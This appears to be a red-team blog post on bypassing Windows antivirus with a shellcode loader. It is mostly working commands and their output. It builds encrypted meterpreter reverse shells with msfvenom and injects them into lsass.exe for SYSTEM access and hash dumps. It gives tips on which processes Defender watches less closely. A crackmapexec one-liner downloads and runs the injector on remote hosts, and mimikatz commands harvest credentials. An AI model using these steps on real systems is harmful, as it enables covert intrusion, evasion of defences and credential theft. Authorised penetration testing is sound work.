Pentesting Methodology - Antivirus Evasion
Bypassing Antivirus in 2021
Before You Start
Disable automatic malware sample submission on your test machine. Trust me, it will make your life easier if you make any mistakes trying to bypass AV software and get caught. Before proceeding, you will need a Windows development machine with Visual Studio.
The tool we will be using will be Alaris which leverages antivirus evasion techniques such as:
- Shellcode Encryption (AES-CBC 256)
- Direct x86 Syscalls (Does not use NtDLL.dll)
- Prevents 3rd party (non-Microsoft Signed) DLL’s from hooking or injecting both the parent and child processes.
- Parent Process ID spoofing
- Overwrites its own shellcode after execution.
Alaris’s creator has written an excellent blog post on all the technical details for how this shellcode loader works and how to use it.
I will only be giving tips for how to operate such a tool during a pentest or red teaming engagement and what has worked best for me.
Build your shellcode. For example, you can try something like:
kali@kali:~/experiments/av-evasion$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.102 LPORT=2001 EXITFUNC=thread -f raw -o win64-2001-met.bin
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 511 bytes
Saved as: win64-2001-met.bin
Build Cryptor.exe
if you haven’t already.
Run that shellcode through Cryptor.exe
to encrypt it.
PS C:\Users\r0kit.BUILDER\source\repos\Alaris> .\loader\x64\Release\cryptor.exe .\met.bin
[i] Replace shellcode string in loader with one below:
shellcode = "ZiWr29WwSWR4VhB10nV04Xk2KsA79O11sKrOEGRyBZZRkE3F7b7emEryP3Ya/sSWy0ujTivm90VfNq4CZUgQoGTAxQfv3CyhU38GZyC36xnivzgJmDjQIINxIIbzrQp+KLQubbHvbuF1KyEqwc3Dvt4sB0dkTKwRBifuayloX5ZjetkXvut5j7zXnsFu30iJ5JAcvO7Fy+2kjwJZXyomZgx2Y3QDZc0xavtn8REEX+gMBXSqmnd15A2WZTsQxrZzH/RcPl3RxJZxSeBh1OuS822WSix8s0BKnPLlfog9ZUUvaKva21GW5Ci+GiSS9gRkhGDyN3zUfWdK4yypP3og8h1cuubCsuQs9fxO3wcg9ka6BvN2bL28HVZEABUAknZ+kMDY0H7YiDg89LGvF+JvkGOGc6+fS7nz07BXBKJIRFjyNnEdAKlhaXXM49V8GC8aivICF/2HtFqOhPzIVbJSu97qL1LhRRKvmf96dLe+YWddu7ci5w/1hs02q9RecBnw/+RovTabZRqGkmEg+kKxwCAu8rkwd8CaV4NuSQCSxTXSgq6v2bAjarX5CGz6HBqXaQGkrs2cwifZjL/PVCG1j/kZelGD2+acKd2IaBycRtWL4TlIDA8wkOiDAWhJiDpEv3bi0ZfT4gfuc3sZZbe8dVn3GYAtTcXPiaPnPLlYAcs=";
Copy and paste the encrypted shellcode into the shellcode
variable located in the loader.cpp
file and rebuild the loader.
Now, execute loader.exe
as the Administrator. It should connect back to your meterpreter handler.
kali@kali:~/experiments/av-evasion$ msfconsole -q -r meterpreter-handler.rc
[*] Processing meterpreter-handler.rc for ERB directives.
resource (meterpreter-handler.rc)> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (meterpreter-handler.rc)> set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
resource (meterpreter-handler.rc)> set LHOST 192.168.2.102
LHOST => 192.168.2.102
resource (meterpreter-handler.rc)> set LPORT 2001
LPORT => 2001
resource (meterpreter-handler.rc)> set ExitOnSession false
ExitOnSession => false
resource (meterpreter-handler.rc)> exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.2.102:2001
msf6 exploit(multi/handler) > [*] Sending stage (200262 bytes) to 192.168.2.28
[*] Meterpreter session 1 opened (192.168.2.102:2001 -> 192.168.2.28:50445) at 2021-02-17 10:42:29 -0500
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: BUILDER\r0kit
Let’s try dumping the hashes.
meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: Access is denied.
Looks like it did not work! Let’s figure out why!
meterpreter > shell
[-] Failed to spawn shell with thread impersonation. Retrying without it.
Process 9892 created.
Channel 2 created.
Microsoft Windows [Version 10.0.18363.1379]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami /groups
whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
============================================================= ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114 Group used for deny only
BUILTIN\Administrators Alias S-1-5-32-544 Group used for deny only
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Performance Log Users Alias S-1-5-32-559 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Notice that when we drop into a shell, although we are part of the Administrators
group, we are running with Mandatory Label\Medium Mandatory Level
privileges indicating that UAC is enabled. Let’s see why that is in depth.
meterpreter > getpid
Current pid: 10640
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
... CONTENT SNIPPED ...
6400 6348 explorer.exe x64 1 BUILDER\r0kit C:\Windows\explorer.exe
... CONTENT SNIPPED ...
10640 6400 mobsync.exe x64 1
Notice how our child process mobsync.exe
spawned from explorer.exe
which was not running with high privileges. We can bypass UAC by injecting into a process running with SYSTEM privielges such as lsass.exe
rather than explorer.exe
. Note that this will only work if you run loader.exe
with Administrator privileges!
Let’s rebuild loader.exe
to inject into lsass.exe
.
Now, run the loader again with Administrator privielges. You should get another meterpreter connection.
msf6 exploit(multi/handler) >
[*] Sending stage (200262 bytes) to 192.168.2.28
[*] Meterpreter session 2 opened (192.168.2.102:2001 -> 192.168.2.28:50464) at 2021-02-17 11:04:51 -0500
msf6 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:REDACTED
r0kit:1005:aad3b435b51404eeaad3b435b51404ee:REDACTED:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:REDACTED:::
So this time, we were able to execute with SYSTEM privileges. Let’s take a look at the processes to understand how the loader injected itself into it.
meterpreter > getpid
Current pid: 7744
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
... CONTENT SNIPPED ...
804 632 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe
... CONTENT SNIPPED ...
7744 804 mobsync.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\mobsync.exe
Notice that since lsass.exe
was running with SYSTEM privileges, we inherited those privileges by spawing as a child process of lsass.exe
!
Skilled blue teams will notice that this behaviour is abnormal and may create signatures for lsass.exe
spawning suspicious child processes like the hollowed mobsync.exe
acting as a host for our meterperter shellcode.
Additional Troubleshooting + Operational Stealth Tips
If the loader fails to inject into lsass.exe
:
- You likely are not executing within a high privileged context and do not have permission to inject into that process.
- AV is detecting a suspicious child processes spawned from
lsass.exe
. To work around this, you might also be able to find other processes running with SYTEM privileges to inject into, or bypass UAC by other means.
Meterpreter C2
For this example, I used the following metasploit resource script to automatically handle multiple inbound C2 connection. Very handy when you are in an enterprise environment and you have remote code execution on multiple machines.
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST YOUR_HOST
set LPORT YOUR_PORT
set ExitOnSession false
exploit -j
msfconsole -q -r TARGET_RC_FILE
Older Technique
The technique below is an older technique that uses dynamic invokation to load encrypted shellcode. Only fall back to this tecnnique as an alternative to the previous one mentioned in this blog post.
Tools
Combining the Tools -> Meterpreter
Encrypt the meterpreter payload to increase stealthiness. With this technique, we can bypass windows defender via basic process injection techniques.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_HOST LPORT=YOUR_PORT EXITFUNC=thread --encrypt xor --encrypt-key '32_BYTE_KEY' -f raw -o pwn.raw
Download the shellcode and inject it into a process leveraging dynamic invocation process injection with the /t:5
flag which adds an additional layer of stealth.
You can read more on dynamic invocation here. In short, this allows us to invoke unmanaged code from memory or disk while avoiding API hooking and suspicious imports.
ProcessInjection.exe /pid:TARGET_PID /url:"YOUR_HOST" /f:raw /enc:xor /t:5 /key:"32_BYTE_KEY"
Gotchas
Please note that the technique above injects raw shellcode directly into the target process.
From experimenting, the best processes to inject into are those commonly ran on all operating systems.
Though, you need to be careful which process you inject into because if you inject into highly sensitive processes like lsass.exe
or obvious ones like svchost.exe
, windows defender will catch you.
My favorite process to migrate to is explorer.exe
because it is one of those processes that is normally ran in user-mode, always running on client workstations and windows defender is more lax on monitoring that process. If might even be worthwhile doing some recon on compromised targets to see which processes are available and inject into.
On this note, if you happen to be an admin, it is safe to manually migrate via meterpreter to processes running as SYSTEM without getting caught by windows defender by running the meterpreter migrate
command. DO NOT USE THE windows/manage/migrate
MSF module OR the getsystem
from meterpreter. You will likely get caught and you have been warned!
The tools are flexible enough to accept multiple formats of shellcode such as base64, c, and hex to help evade anti-virus.
More on Obfuscator
Note that in the examples above, we used XOR rather than AES256 to encrypt our meterpreter payload. This is likely because the ProcessInjector tool has a specific way of calculating the IV. If you wish to use AES256 encryption for encrypting your shellcode, I recommend running Obfuscator over a base64-encoded raw meterpreter payload which is the companion tool to ProcessInjector. This way, the encryption will be prepared in the way the ProcessInjector tool expects it to be. The downside of this is that this takes a little more time to prepare as you will need to prepare the encryption on a Windows malware building machine.
At this point, we need the compromised victim hosts to download and execute our process injection loader. My tool of choice for mass remote code execution on Windows enterprise networks is crackmapexec
. Crackmapexec has a feature allowing pentesters to execute arbitrary PowerShell commands on remote hosts by uploading a stager via an SMB pipe. Unfortunately in harderned networks we cannot use this since Windows Defender will stop the stager from executing and alert victims of our presence. The command below is preferred:
sudo crackmapexec smb HOST -u USER -p 'PASSWORD' -x 'powershell "(New-Object Net.WebClient).DownloadFile(\"HTTP_PATH_TO_YOUR_FILE\",\"C:\Windows\TEMP\ProcessInjection.exe\"); $pwn = ps | ? {$_.ProcessName -like \"*explorer*\"} | Select-Object -first 1; C:\Windows\TEMP\ProcessInjection.exe /pid:$($pwn.Id) /url:\"HTTP_PATH_TO_YOUR_METERPRETER\" /f:raw /t:5; rm C:\Windows\TEMP\ProcessInjection.exe"'
Post Exploitation
Credential Gathering
Once you have a bunch of sessions, you may want to dump credentials and reuse them to enable lateral movement.
load mimikatz
kiwi_cmd logon::debug
kiwi_cmd sekurlsa::logonpasswords
Firewall Evasion
Additionally, you may want to port forward with meterpreter as well to go deeper in the networks.
Quite often, environments may have hardened firewalls whitelisting common ports like TCP 53, 443, and 80. If you need to host malware on those ports but have ran out, it helps to have a few virtual machines kicking around so that you can host the malware on those instead to call back to your C2 server.